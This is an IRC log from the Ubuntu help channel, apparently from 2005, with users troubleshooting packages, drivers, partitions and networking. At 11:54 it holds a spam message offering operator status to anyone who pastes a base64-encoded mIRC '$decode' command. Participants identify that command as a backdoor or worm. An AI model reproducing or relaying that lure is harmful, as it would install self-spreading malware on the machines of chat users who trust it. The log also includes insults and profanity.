[11:12] <apokryphos> hm
[11:12] <bluefoxicy> the dillo folk are switching to FLTK2
[11:12] <apokryphos> http://wiki.ubuntu.com/InstallingKDE
[11:12] <Kyral> ohphracku, and I also worked with Gentoo
[11:13] <LasseL> u t1nk u r l337 d00d ?
[11:13] <unvs_> "i installed gentoo in a snap with no problems" holds as much water as "i went alone on vacation to sweden and banged 200 chicks"
[11:13] <bluefoxicy> my only guess on why-- popularity not supporting it-- is that it's probably a smaller library with a smaller footprint than GTK+2
[11:13] <bluefoxicy> of course
[11:13] <bluefoxicy> that being the case, then they failed to realize that GTK+2 is probably already loaded and installed
[11:13] <Kyral> I hated having to reinstall like crazy and the fricken compile times
[11:13] <Kyral> no thanks, I'll take my Ubuntu
[11:13] <bluefoxicy> meaning that using FLTK2 over GTK+2 will wind out increasing the memory and installation footprint overall of Dillo in most cases.
[11:14] <bluefoxicy> so much for that project.
[11:14] <Kyral> and if you want to use Gentoo, use Gentoo
[11:14] <Kyral> this ain't Gentoo
[11:14] <flipmo> I can't for the life of me get Synaptic to install gcc-4.0 so that "gcc --version" returns 4.0 instead of 3.3.5, anyone want to throw some ideas at me?
[11:14] <Kyral> nor is it Windows, or is it MEPIS, nor is it Slackware
[11:14] <flipmo> It's listed as an installed package, but no dice
[11:14] <Kyral> so bitching about "I did it that way there" won't get you anywhere
[11:14] <ohphracku> im not rippin on ubuntu or debian i am just amazed at how bad apt is
[11:14] <Hobart> Can anyone help with accelerated 3D setup for a 3D Rage LT Pro on Hoary?
[11:15] <iratsu> if i installed a newer kernel image, how can i revert to an older one?
[11:15] <cemc> NeoFax: ok, thx
[11:15] <Kyral> Its called apt-cache search
[11:15] <Kyral> learn to use the damn tool, if you are so 1337
[11:15] <ohphracku> i like ubuntu for its kickstart functionality feature and not to much bloat
[11:15] <Kyral> Wow, where the fuck did THAT come from
[11:16] <apokryphos> ohphracku: what's wrong with apt?
[11:16] <Kyral> Its not Portage
[11:16] <Kyral> in a nutshell
[11:16] <ohphracku> ok
[11:17] <Snadder> when does next version of ubuntu come out?
[11:17] <apokryphos> Kyral: isn't that a good thing?
[11:17] <Kyral> Is to me
[11:17] <apokryphos> Snadder: October
[11:17] <CarlFK> Snadder - Oct
[11:17] <CarlFK> dam.
[11:17] <apokryphos> !breezyschedule
[11:17] <CarlFK> ;)
[11:17] <ubotu> somebody said breezyschedule was at https://wiki.ubuntu.com/BreezyReleaseSchedule
[11:17] <Kyral> Oct 16 IIRC
[11:17] <ohphracku> 5 mins ago i wanted to remove one package
[11:17] <Kyral> yah? And?
[11:18] <Kyral> if nothing else needs its depends it pulls them too
[11:18] <Kyral> good thing IMO
[11:18] <chrismy> NeoFax, nah not workin
[11:18] <deflux-> Anyone run Ubuntu on a Mac Mini?
[11:18] <deflux-> As soon as it tries to go into X, my Apple 23" HD display goes into sleep mode, and nothing responds.
[11:18] <Hobart> deflux-, I booted the LiveCD successfully before but that was about it
[11:18] <LaschW> Is there any low level installation documentation for Ubuntu? Having a closer look on http://www.ubuntuguide.org/ it seems not to be suitable for newbies..
[11:18] <ohphracku> and i simulated it and it spits out that it would basically remove my whole desktop environment the package is not requiered but yet apt thinks so
[11:18] <Hobart> There's a boot option like "ofvideo" or something
[11:19] <Kyral> what package?
[11:19] <apokryphos> ohphracku: /me wagers that wasn't the case
[11:19] <deflux-> Hobart: I thought that was only for the install?
[11:19] <Hobart> to use only the open firmware video driver instead of trying to use the native ATI driver I think
[11:19] <deflux-> What is ofvideo?
[11:19] <apokryphos> if other things depend on it, then it removes them too
[11:19] <Hobart> I think it's like falling back to the 'vesa' server on Intel boxes
[11:19] <ohphracku> ok im on a desktop why would laptop-detect be required
[11:19] <tag> How do I just create a .deb?
[11:20] <apokryphos> tag: not that easy; check the MOTU wikipage for a few useful links
[11:20] <LasseL> ohphracku, the ubuntu-desktop package is just a meta package, you can remove that if you want
[11:20] <Kyral> holy shit he is right
[11:20] <ohphracku> no
[11:20] <tag> not that easy
[11:20] <tag> ?
[11:20] <LasseL> ohphracku, it is just a meta package that describes all the junk that goes in with a default install
[11:20] <tag> That's surprising
[11:20] <Kyral> Thing wanted to rape my desktop
[11:20] <apokryphos> Kyral: what pack?
[11:21] <ohphracku> no
[11:21] <ohphracku> nonono
[11:21] <ohphracku> dude
[11:21] <Kyral> laptop-detect
[11:21] <QMario> Kyral, language... :(
[11:21] <ohphracku> communication breakdown
[11:21] <Kyral> do a sudo apt-get remove laptop-detect -s
[11:21] <ohphracku> dude stop talkin to me like im a f*in newb
[11:22] <apokryphos> interesting
[11:22] <ohphracku> i did that i know the tool
[11:22] <ohphracku> !
[11:22] <ubotu> ohphracku: Are you on ritalin?
[11:22] <Kyral> ohphracku, stop acting like it
[11:22] <Kyral> You talk like I'm an idiot, I talk to you like you are a moron
[11:22] <apokryphos> guys guys :D
[11:22] <topyli> o great
[11:22] <dalamar> why is snes9x / zsmes so damn slow on even a decent system?
[11:22] <ohphracku> so are u on the dev teaM?
[11:23] <ohphracku> no
[11:23] <Kyral> and I'm NOT in a good mood today, seeing as a have a frickin' Calculus exam on Thurs
[11:23] <dalamar> s/zmses/zsnes
[11:23] <ohphracku> if u r you sure should not b
[11:23] <Kyral> ...someone stop me from killing him
[11:23] <Hobart> tag, google deb howto , http://linuxdevices.com/articles/AT8047723203.html
[11:23] <topyli> Kyral: we don't care. this is a technical help channel
[11:23] <topyli> try #ubuntu-offtopic
[11:23] <Kyral> topyli, I know, but I don't have to put up with attitude
[11:23] <LasseL> Kyral, go do your homework then
[11:24] <Kyral> LasseL, someone is helping me with it after the Linux Lab meeting tonight
[11:24] <Kyral> Kyral != Good at Calc
[11:24] <dalamar> here's on topic: why does snes9x run like ass in ubuntu?
[11:24] <LasseL> best prepare then
[11:24] <Kyral> use ZSNES :P
[11:24] <topyli> heh
[11:24] <dalamar> zsnes runs worse ;)
[11:24] <ohphracku> yes i am a newb to deb and ubuntu but i come from well more hands on dists
[11:25] <Kyral> Do you have the right drivers for you card installed?
[11:25] <QMario> Kyral, Linux Lab meeting?
[11:25] !lilo:*! Three servers restarted: affected users, about 80.
[11:25] <QMario> What is that?
[11:25] <chrismy> :D
[11:25] <ohphracku> so the crap that apt gives me is maddining
[11:25] <Kyral> my University is an Ubuntu mirror
[11:25] <dalamar> i have the default nvidia drivers running yes
[11:25] <iratsu> if i installed a newer kernel image, how can i revert to an older one?
[11:25] <lancer285> anyone have experience setting up multimedia keys in ubuntu?
[11:25] <Kyral> the Lab runs it :P
[11:25] <Kyral> !nvidia
[11:25] <ubotu> [nvidia]  at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[11:25] <Kyral> dalamar, try that
[11:25] <LasseL> lancer285, did you google it :p
[11:25] <topyli> ohphracku: apt is perfect. it's always an admin error :)
[11:25] <Dragon513> I have Cool'nQuiet enabled, but once frequency scales up, it never comes down
[11:25] <Kyral> ohphracku, so I had I when I came to Ubuntu
[11:26] <dalamar> thats the ones i have, ie not the ones off the nvidia site
[11:26] <iratsu> How can i upgrade kernel modules?
[11:26] <QMario> Kyral, why didn't you take Calculus in High School?
[11:26] <Kyral> and I didn't know SHIT about Apt
[11:26] <Kyral> I came from Slack and Gentoo
[11:26] <Kyral> still a newbie in Ubuntu
[11:26] <QMario> Kyral, language!!!! :-X
[11:26] <CPD|nons_> in the FAQ it says swap partition should be at least 500mb, yet the installer allowed me only to set it to max. 180.9 mb, did I do smth wrong?
[11:26] <lancer285> LasseL, yes I did. I found a howto for ubuntu, But it says that when I'm in a console, I should hit the keys and get some sort of feedback on the screen, but I don't
[11:26] <chrismy> yeah how do i upgrade kernel module for invidia?
[11:26] <chrismy> *nvidia
[11:26] <topyli> Kyral: ease up and use wajig like the real lazy admins do
[11:26] <Kyral> wajig?
[11:26] <topyli> !info wajig
[11:26] <Kyral> and I need to get to dinner
[11:27] <ubotu> wajig: (Simplified Debian package management front end), section universe/admin, is optional. Version: 2.0.17-1ubuntu1 (hoary), Packaged size: 72 kB, Installed size: 364 kB
[11:27] <ohphracku> ok sure think that but i know better nothing is perfect.
[11:27] <iratsu> chrismy: are you having the same problem as I?
[11:27] <chrismy> iratsu, oh yes
[11:27] <QMario> !wajig
[11:27] <ubotu> QMario: Syntax error in line 1
[11:27] <chrismy> iratsu, you are looking for 2.0.1?
[11:27] <Kyral> topyli, Apt+My Tweaked Bash Alias > ALL
[11:27] <QMario> !info smbclient
[11:27] <ubotu> smbclient: (a LanManager-like simple client for Unix), section net, is optional. Version: 3.0.10-1ubuntu3 (hoary), Packaged size: 2337 kB, Installed size: 5996 kB
[11:27] <iratsu> chrismy: 2.0.1?
[11:27] <iratsu> chrismy: what?
[11:27] <lancer285> !info multimedia keys
[11:27] <dalamar> snes emulators run like poop cha-cha-cha
[11:27] <topyli> Kyral: that's basically it. but ubuntu is only partly right, i should correct that factoid
[11:28] <iratsu> chrismy: I installed linux-image-2.6.11-1-686 and now my nvidia drive doesn't wanna work
[11:28] <QMario> Dalamar, you can always use WINE....
[11:28] <QMario> !Wine
[11:28] <chrismy> iratsu, i think so it is that. i mean the kernel module when i started linux. (graphics problem)
[11:28] <dalamar> QMario, even worse
[11:28] !lilo:*! Two servers restarted; affected users, 150.
[11:28] <topyli> Kyral: it also handles alternatives, services and... well that's it
[11:28] <Kyral> lancer285, fire up the GNOME Keyboard Shortcuts thing in the Menus
[11:28] <QMario> Dalamar, why?
[11:28] <Kyral> and I really must go
[11:28] <ohphracku>  i'll be hackin apt to fix this mess of meta bull spaggetti.
[11:28] <chrismy> iratsu, mine is ok but i just do not know how to deal with it. i think it is the latest kernel it wants
[11:28] <lancer285> Kyral, kay I have it open
[11:28] <dalamar> QMario, euns even slower
[11:28] <iratsu> Does anyone know how to upgrade nvidia modules?
[11:28] <Hobart> Has anyone gotten accel 3D working on non-cutting-edge 3D cards?
[11:28] <Kyral> lancer285, just scroll through and manually assign the keys
[11:29] <skitzout> does ubuntu have an auto updater?
[11:29] <chrismy> Hobart, try Diamond :D
[11:29] <Kyral> ohphracku, we cannot be held liable for your hacks to APT
[11:29] <Hobart> Apparently precision insight contributed NDA-signed working 3D for the old ATI Rage LT's to xfree
[11:29] <lancer285> Kyral, I've tried that. The keys don't have any output.
[11:29] <Kyral> ah, then I dunno
[11:29] <Kyral> and I'm gone
[11:29] <lancer285> Kyral, do I have to change my keyboard type somewhere?
[11:29] <Hobart> But glxinfo doesn't know diddly about 3D
[11:29] <metellius> i'm going to format this pc now, is there any way to get a complete listing of all packages installed for later reference?
[11:29] <fotuenti> hi
[11:29] <Hobart> just shows the software accel drivers
[11:29] <ohphracku> but if you can show me howto install the core of anything i'll be amazed an greatfull
[11:29] <Hobart> metellius, dpkg -l I think
[11:29] <CPD|nons_> in the FAQ it says swap partition should be at least 500mb, yet the installer allowed me only to set it to max. 180.9 mb, did I do smth wrong?
[11:30] <chrismy> Hobart, is your card the latest? i notice that linux has not update itself.
[11:30] <chrismy> or perhaps no such drivers yet
[11:30] <Hobart> chrismy, ATI 3D Rage LT Pro
[11:30] <karim> hi
[11:30] <Hobart> ~5yrs old
[11:30] <Hobart> predates Radeon
[11:30] <karim> i breezy ok also on ppc ?
[11:30] <karim> is
[11:31] <topyli> uh. so how do you alter a factoid already in ubotu's brain?
[11:31] <NeoFax> chrismy: What error did you get?
[11:31] <NeoFax> Check Xorg.0.log
[11:31] <QMario> !Diamond
[11:31] <chrismy> Hobart, hmm have you tried this https://wiki.ubuntu.com/BinaryDriverHowto/ATI?highlight=%28ati%29
[11:31] <ubotu> QMario: Wish i knew
[11:32] <chrismy> NeoFax, i thnk it is the newest kernel it is asking for.
[11:32] <ohphracku> i love it when a project cant do anything but say oh *foo is perfect. it dose'nt show much wisdom
[11:32] <napsy> Hi. Does ubuntu have a rc.local like slackware had to run custom apps on startup?
[11:32] <chrismy> NeoFax, i have now reverted back my Xorg.conf so no probs:D BUT my drivers are old(i htink)
[11:32] <chrismy> *think
[11:32] <skitzout> does ubuntu have an auto updater???
[11:32] <AristoMagnus> yes
[11:32] <chrismy> skitzout, yes it does
[11:33] <LasseL> skitzout, a great one even
[11:33] <AristoMagnus> apt-get install synaptic
[11:33] <skitzout> How do I access it?
[11:33] <AristoMagnus> apt-get install synaptic
[11:33] <skitzout> on root?
[11:33] <chrismy> NeoFax, ok what should i look for in Xorg.0.log?
[11:33] <GregAsche> skitzout: yea, or use sudo
[11:33] <LasseL> skitzout, do you have a default ubuntu install running ?
[11:33] <QMario>  
[11:33] <skitzout> yes
[11:33] <skitzout> it is default
[11:33] <ohphracku> http://www.kde.org/info/requirements/3.4.php i want only "REQUIRDED" packs installed howto with apt
[11:33] <LasseL> skitzout, use the menu: System > Admin > Synaptic
[11:33] <skitzout> why?
[11:33] <chrismy> QMario, how do you do that icon thing?
[11:34] <Webby`> 
[11:34] <Hobart> chrismy, yeah, that's only for new Radeons
[11:34] <ohphracku> and maybe some recommended ones ;] 
[11:34] <LasseL> skitzout, and if there is important updates they should show up as a red icon near the watch
[11:34] <chrismy> Hobart, erm also for AMD64 only . it is written at the top of that page
[11:34] <topyli> !wajig
[11:35] <topyli> hrmpf
[11:35] <Dragon513> is AMD 65 K7 or K8?
[11:35] <topyli> !wajig
[11:35] <skitzout> it says i have a broken package
[11:35] <Dragon513> 64*..
[11:35] <chrismy> Note: Currently, ATI Drivers for AMD64 are only available in Hoary
[11:35] <NeoFax> chrismy: Look for the error at the end.  However, since you have reverted the file will be wrong
[11:35] <topyli> ubotu: wajig
[11:35] <ubotu> wajig is, like, a simple tool for basic debian administration. you can handle apt commands, change alternatives defaults and handle service daemons via simple commands. wajig uses sudo every time. http://www.togaware.com/linux/survivor/Wajig_Overview.html
[11:35] <chrismy> NeoFax, how is it so?
[11:35] <LasseL> skitzout, which one?
[11:36] <topyli> ah. hey, is that too long? i just added wajig to ubotu
[11:36] <chrismy> NeoFax, i get this Warning: font renderer for ".bdf.Z" already registered at priority 0
[11:36] <Zugot> i'm feeling adventurious
[11:36] <chrismy> NeoFax, and a few of those at the end of the file
[11:36] <QMario> Chrismy, huh? Do you mean the music symbols? Hee hee. Amaranth taught it to me. If you are using Unicode, Ctrl+Shift+266(A,B,C,etc.) Enjoy! ;)
[11:36] <Zugot> i'm going to move a perfectly good redhat fedora core 4 setup to ubuntu 64
[11:36] <LasseL> skitzout, please ask in the channel, i may not know the best answers to your questions so PM me will just get you worse answers
[11:36] <chrismy> QMario, yeah! but what is 266?
[11:37] <chrismy> 4
[11:37] <chrismy> 
[11:37] <QMario>      
[11:37] <chrismy> geee how?
[11:37] <chrismy> 
[11:37] <topyli> Zugot: sometimes you cannot resist the CALL of UBUNTU
[11:37] <Zugot> 
[11:37] <skitzout> How can I tell what packages are broken?
[11:37] <deflux-> hrm
[11:37] <QMario> !Unicode
[11:37] <ubotu> QMario: Did you get hit by a windmill?
[11:37] <deflux-> The Apple 23" Cinema Display goes blank with the default install of xorg.
[11:37] <deflux-> Drat.
[11:37] <chrismy> !code
[11:37] <ubotu> Bugger all, i dunno, chrismy
[11:37] <chrismy> lol
[11:37] <Zugot> topyli, i normally run ubuntu... i didn't have an amd64 version of linux when i needed to do this install
[11:37] <QMario> Chrismy, you type in 266, and then you enter a letter.
[11:38] <chrismy> 
[11:38] <Zugot> 
[11:38] <Zugot> ah
[11:38] <chrismy> l
[11:38] <chrismy> ??
[11:38] <Seveas> take unicode tests to the offtopic channel please
[11:38] <QMario>        (266(A-G))
[11:38] <QMario> Hello Seveas! :)
[11:38] <ohphracku> wow no answers and "Ubuntu" is an ancient African word, meaning "humanity to others" yeah real helpful community here. not
[11:38] <topyli> Zugot: by all means, if i had a 64 bit machine, i'd run 64 bit ubuntu on it :)
[11:38] <QMario> Ohphracku, sarcasm?
[11:39] <chrismy> QMario, lol you are rather friendly
[11:39] <ohphracku> yes :}
[11:39] <LasseL> skitzout, in Synaptic press the Search button, then select "broken"
[11:39] <Zugot> i'm taking the plunge now... just gotta back up some stuff to the usb drive first... i love usb drives
[11:39] <nalioths_dog> ohphracku, if no one answers, nobody here knows
[11:39] <chrismy> ohphracku, always is...always is
[11:39] <Zugot> ohphracku, maybe we missed the question
[11:39] <ohphracku> "brings the spirit of Ubuntu to the software world."
[11:39] <NeoFax> chrismy: See if you have a older Xorg.#.log in /var/log
[11:39] <topyli> ohphracku: i guess it takes two to tango
[11:40] <Zugot> i just quit my job today...
[11:40] <Zugot> i'm excited... no more unix admin ... i've moved into the world of programming
[11:40] <ohphracku> people must know because i got such a hostile response to my question
[11:40] <Zugot> ohphracku, ask again...
[11:40] <QMario> !Botsnack.
[11:40] <ubotu> thanks qmario :)
[11:40] <chrismy> NeoFax, yes Xorg.0.log.old
[11:40] <chrismy> NeoFax, hmm same comments
[11:41] <LasseL> skitzout, i meant Custom > Broken
[11:41] <kent> ohphracku, what was your question?
[11:41] <ohphracku> instead of helpin i got told im a newb for sure im not, i am a commiter to various projects
[11:41] <Zugot> actually... is there a breezy cd yet... or should i just install hoary and then immediately upgrade to breezy
[11:42] <chrismy> Zugot, good question
[11:42] <nalioths_dog> Zugot, if you like surprises, breezy is for you (still not quite ready for prime time)
[11:42] <QMario> Zugot, no. Breezy comes out in October 2005.
[11:42] <AristoMagnus> youppi !!!
[11:42] <Zugot> nalioths_dog, do you happen to know some of the major snafus?
[11:42] <chrismy> NeoFax, what's up?
[11:42] <AristoMagnus> Breazy !!
[11:42] <QMario> Nalioth, you have a dog?
[11:42] <kent> Zugot, isn't the colony CDs test-versions of Breezy. They are on the homepage.. i think
[11:42] <LasseL> Zugot, there is always a new release around the corner, now is as good a time as ever
[11:42] <ohphracku> how to install only core required packages for *foo i get tooo many dependencies that in reality are not
[11:42] <hmrocha> hello
[11:42] <nalioths_dog> Zugot, any update can cause a breakage (still)
[11:42] <chrismy> NeoFax, it has all the warnings about 'renderer'
[11:43] <hmrocha> how can i change the group that is allowed to mount usb devices?
[11:43] <brk3> vbgunz: when your in the resize partition, and says 'new partition size:', does that mean enter the size you want to reduce that partition to, or the size you want to reduce it by?
[11:43] <hmrocha> i tried in /etc/udev/udev.rules
[11:43] <hmrocha> but it didn't work
[11:43] <Zugot> LasseL, thats what i was thinking... i'm pretty competent with linux.. i'll take my chances.  worse case, i'll back up my home directory and reinstall.  that doesn't take but a few minutes
[11:43] <nalioth> QMario: yes i do, and sometimes he even wakes up to speak
[11:43] <ohphracku> when i wanted kde apt said i'll throwin every desktop app known to the OSS world :] 
[11:43] <Hobart> ohphracku, check the dpkg manpage for the various "force" options if you sincerely believe the package will run without its dependencies
[11:43] <kent> ohphracku, well, if they are no dependencies (and you can only know that by triyng your self) then remove them by hand with sudo apt-get remove package?
[11:43] <QMario> Okay everyone! Thank you for you help! Bye! ;)
[11:43] <chrismy> lol
[11:44] <nalioths_dog> Zugot, if you are a veteran *nix user, have fun, but breezy is not for new users to *nix
[11:44] <brk3> does anyone know in the resize partition dialog when installing, and it says 'new partition size:', does that mean enter the size you want to reduce that partition to, or the size you want to reduce it by?
[11:44] <ohphracku> they where not dependecy r games a depend? no  are digital camera apps a depend no
[11:44] <Hobart> ohphracku, I believe there is also an apt-get option ("--download" or something) that will snag the .deb w/o trying to install it, so you can dpkg force it in.
[11:44] <LasseL> Zugot, actually I meant that you might as well install the hoary and upgrade -- since you will have to upgrade again in 6 months anyway
[11:44] <NeoFax> chrismy: You do not have any other Xorg.#.log file?
[11:44] <Zugot> nalioths_dog, i've been a paid unix admin for 12 years now... full time linux admin for 6 years
[11:44] <kent> ohphracku, say you think libgtkhtml are not needed, then run "sudo apt-get remove libgtkhtml".  As for the meta-packages, (ubuntu-desktop) you can remove packages from it.  Its ok, you dont need every program installed by default from that meta-package (for example..)
[11:44] <nalioths_dog> Zugot, then i say have fun
[11:45] <Ebowles> how can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?
[11:45] <Zugot> i'm going to do it... once my home directory finishes backing up
[11:45] <ohphracku> no kent u would have to see the output to understand my frustration
[11:45] <thrush> brk3, the size of the partition
[11:45] <nalioths_dog> Zugot, our job in here is to make life easy for new to *nix users (among other things)
[11:45] <Zugot> i use amanda to backup my home directory to a usb drive.. i'm a dork
[11:45] <mrchebas> I have enabled more than one layout in System/Preferences/Keyboard in Hoary. How do i switch layouts, now?
[11:45] <kent> ohphracku, I have personally removed some packages from it so I know it workes. It said it had to remove ubuntu-desktop (the meta-package) aswell, but thats a no-problem.
[11:46] <kent> ohphracku, give me one of the programs you want to remove, and I will check my self if it works or not.
[11:46] <brk3> thrush: the size of the new one?
[11:46] <basicler> hello all
[11:46] <thrush> brk3, yes
[11:46] <LasseL> mrchebas, i think you can rightclick the panel (with the menu) and add an applet for it
[11:46] <basicler> um how do i get ubnutu live to start with no apic ?
[11:47] <basicler> to resolve irq confilcts
[11:47] <brk3> thrush: say i have an 80gb partition, i want to free 10GB.. so when i go to resize that partition and it says enter size, should i enter 10GB?
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[11:47] <ohphracku> my real prob was with gettin kde on my laptop, apt wanted to install over 230 packs
[11:47] <chrismy> NeoFax, nope only that 2 in /var/log. also no others Xorg.?.log could be found :(
[11:47] <nicknamex219> hey i got a question about my dhcp connection for my modem.. some how its not detecting it and on other distros it automaticly detects it for my internet
[11:47] <mrchebas> LasseL: you are right, i overlooked an applet, i am trying now
[11:47] <nicknamex219> i even tried configuring it myself with my modem settings
[11:47] <ohphracku> so i just said im goin back to slack
[11:47] <ohphracku> ;] 
[11:47] <nicknamex219> still no luck for some reason
[11:48] <thrush> brk3, you are in cfdisk?
[11:48] <CarlFK> nicknamex219 - how are you connecting?  (I am trying to get dialup working)
[11:48] <AristoMagnus> someone can tell me why gajim is not on apt
[11:48] <mrchebas> LasseL: It works now :)
[11:48] <nicknamex219> im connecting using a toshiba dsl modem
[11:48] <brk3> thrush: just the ubuntu installer
[11:48] <kent> ohphracku, which package did you try to install to get kde?  not some meta-package right?
[11:48] <nicknamex219> cable modem i mean
[11:48] <ohphracku> im sorry for the snap but false dependencies are so on my shi* list
[11:48] <CarlFK> nicknamex219 - ah, nm.
[11:48] <Ebowles> whats the best program for burning dvds?
[11:48] <chrismy> NeoFax, you must be busy. i must go now to bed.....zzzz thanks a lot!
[11:48] <ohphracku> just kde-base
[11:48] <nicknamex219> it usually detects everything auto
[11:49] <Ebowles> data dvds, that is
[11:49] <nicknamex219> with dhcp
[11:49] <chrismy> bye good people
[11:49] <Fanskapet> hmm anyone used and configurated a pvpgn server?
[11:50] <thrush> brk3, enter the size for the new partition
[11:50] <kent> ohphracku, as fare as I see, it only tries to install the needed stuff. (for me, 97mb  - but I had a few of the packages installed - though not manny of them). Thats not much, and I think you would not have a working system without all of the dependencies..
[11:50] <c0d3ster> im having some proftpd trouble
[11:50] <brk3> so 10gigs
[11:50] <ohphracku> i even did apt-cache search for the full name of the core packs and passed those to apt but it still wanted to do literally every desktop app i have ever even heard of
[11:50] <c0d3ster> i followed this guide: http://www.ubuntuforums.org/showthread.php?t=51611&page=2&pp=10
[11:50] <nicknamex219> see it usually works on other distros like knoppix or gentoo
[11:50] <nicknamex219> but some how dhcp isnt being detected
[11:51] <c0d3ster> and now ANY user that connects is jailed in the FTP-shared directory
[11:51] <brk3> thrush: someone in #kubuntu just told me you enter the new total size of the partition
[11:51] <thrush> brk3, yes you are creating a new partition
[11:51] <c0d3ster> i want to specify a rule so that certain users aren't jailed in the /FTP-shared/ directory
[11:51] <brk3> thrush: ok
[11:51] <brk3> thanks
[11:51] <Ebowles> how can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?
[11:51] <nicknamex219> when it boots up for the time server it says temporary failure in name resolution.. and dhcp should be working
[11:52] <ohphracku> ok i'll try to get this tool mastered but i wish the default behaviour was to install just the absolute requierments of a pack not what the packager "thought" i would want.
[11:52] <ohphracku> gosh i cant spell
[11:52] <nicknamex219> anyone got any advice on dhcp for a cable modem if it isnt being detected?
[11:52] <ohphracku> reqiuerments
[11:53] <ohphracku> ;] 
[11:53] <ohphracku> damn spam bots
[11:53] <waynekruse22> i was told to use this guide: https://wiki.ubuntu.com/ApacheMySQLPHP to get php, apache and mysql working
[11:53] <dilligaf> votes now.. do I install ubuntu ?
[11:53] <omega> dare I try to install the 6.8.2-54 xorg packages currently, on a 5.04 box?
[11:53] <kent> ohphracku, it must have changed in Breezy then, becaus I saw only konqueror amongs the programs it wanted to install with kdebase..
[11:53] <AristoMagnus> Yes
[11:53] <NeoFax> chrismy: Sorry, I have to help the kids with homework
[11:53] <AristoMagnus> Ubuntu is the best desktop distro ever
[11:53] <waynekruse22> but i go to the last thing - apt-get install php4-mysql
[11:53] <dilligaf> 1 vote
[11:53] <dilligaf> 2 votes
[11:54] <waynekruse22> and that package doesnt exist
[11:54] <NoUse> dilligaf you'll probably get a 'fair and balanced' poll in the ubuntu channel ;-)
[11:54] <waynekruse22> where do i get that package from?
[11:54] <AristoMagnus> waynekruse22: you send private message
[11:54] <ompaul> ohphracku, do /umode +CE and get out of channels where they are hitting you from :)
[11:54] <AristoMagnus> freenode'waynekruse22 Want to be an OPERATOR in #ubuntu ? copy/paste this-> //write  $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNNYW5pbGEgfCAubXNnICRuaWNrIFdhbnQgdG8gYmUgYW4gT1BFUkFUT1IgaW4gJGNoYW4gPyBjb3B5L3Bhc3RlIHRoaXMtPgMxNCAvL3dyaXRlIKAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAgJGNocigxMjQpIC8vbW9kZSAkICQrIG1lICtSIH0=
[11:54] <AristoMagnus> ,m) | .load -rs  | //mode
[11:54] <dilligaf> only one problem with ubuntu live.. it doesnt seem to use soundblaster as default
[11:54] <AristoMagnus> stop that anoying script
[11:54] <kent> ohphracku, ok, some other programs aswell..  kappfinder, kate, kfind etc. But it guess you can remove them later on.
[11:54] <dilligaf> and them effing bots need booted
[11:54] <ompaul> !ops
[11:54] <ubotu> Help! seb128, bob2, fabbione, lamont, thom, Keybuk, fooishbar, jdub, mdz, Amaranth, tritium, ajmich, crimsun, ogra, CarlK, Seveas, Burgundavia!
[11:54] <Seveas> fuck it
[11:55] <dreamie> ok
[11:55] <Seveas> waynekruse22, FUCK OFF A*HOLE
[11:55] <AristoMagnus> Seveas:
[11:55] <quam> whats with the damn spammers in ubuntu-unregged
[11:55] <apokryphos> heh, he's back?
[11:55] <nicknamex219> that decode shit is a backdoor
[11:55] <dilligaf> ive come at a bad time... LOL
[11:55] <apokryphos> hah, /msg to me too
[11:55] <dreamie> why is someone msg me about being an op at ubuntu?
[11:55] <waynekruse22> how do u install .deb's in ubuntu?
[11:55] <AristoMagnus> backdoor for mirc i think lol
[11:55] <c0d3ster> I'm having some proftpd trouble.. I followed this guide: http://www.ubuntuforums.org/showthread.php?t=51611&page=2&pp=10 ... And now ANY user that connects to the FTP is jailed in the /FTP-shared/ directory... I want to specify a rule so that certain users aren't jailed in the /FTP-shared/ directory
[11:55] <dilligaf> mirc.. whod dream of using that trash LOL
[11:55] <Swoop|Around> dreamie: it's a trick
[11:55] <dilligaf> loser bots doesnt know this is linux
[11:56] <Swoop|Around> my norton antivirus picks up on it when people copy paste it here even
[11:56] <Swoop|Around> dont do any of it
[11:56] <apokryphos> dreamie: evil spammers :)
[11:56] <nicknamex219> well im using mirc right now since i cant get my dhcp working on linux
[11:56] <ompaul> Seveas, thanks :)
[11:56] <ohphracku> die spam!
[11:56] <ompaul> !spam
[11:56] <ubotu> from memory, spam is Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter
[11:56] <c0d3ster> please :) someone help me.. :?
[11:56] <dreamie> how do you know that was a backdoor?
[11:57] <AristoMagnus> i think its like a bufferoverflow
[11:57] <nicknamex219> because its a decode script
[11:57] <ohphracku> im good only get hit by em once in a while
[11:57] <c0d3ster> Seveas. you around?
[11:57] <Seveas> c0d3ster, in a meeting
[11:57] <ompaul> c0d3ster, he be in a meeting
[11:58] <dreamie> anyways i have a small problem i have xine, vlc and totem.. the problem is that i can not see a dvd. i can hear the dvd but see no audio in xine, vlc doesnt even recognize the dvd, and totem just freezes
[11:58] <dilligaf> this is really a crap time, Ill back anther day
[11:58] <nalioths_dog> you folks running windows, DO NOT run that "want to be op in #ubuntu" command, it is lots of trouble for your system
[11:58] <dreamie> what can i do about this?
[11:58] <Ebowles> how can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?
[11:58] <dilligaf> folks runnin winders.. get it formatted ;)
[11:59] <lsuactiafner> dreamie : mplayer dvd://1 -aid 128 -alang en,EN -ao esd
[11:59] <ohphracku> c0d3ster gets it hotter than a toaster with the algorithims straight bolstered yeah bring it robust "in linux we trust" ;] 
[11:59] <c0d3ster> ehhh
[11:59] <c0d3ster> you know it ;)
[11:59] <ohphracku> lol
[11:59] <ompaul> Ebowles, use system preferences themes or if it is good enough right click on the desktop and choose something else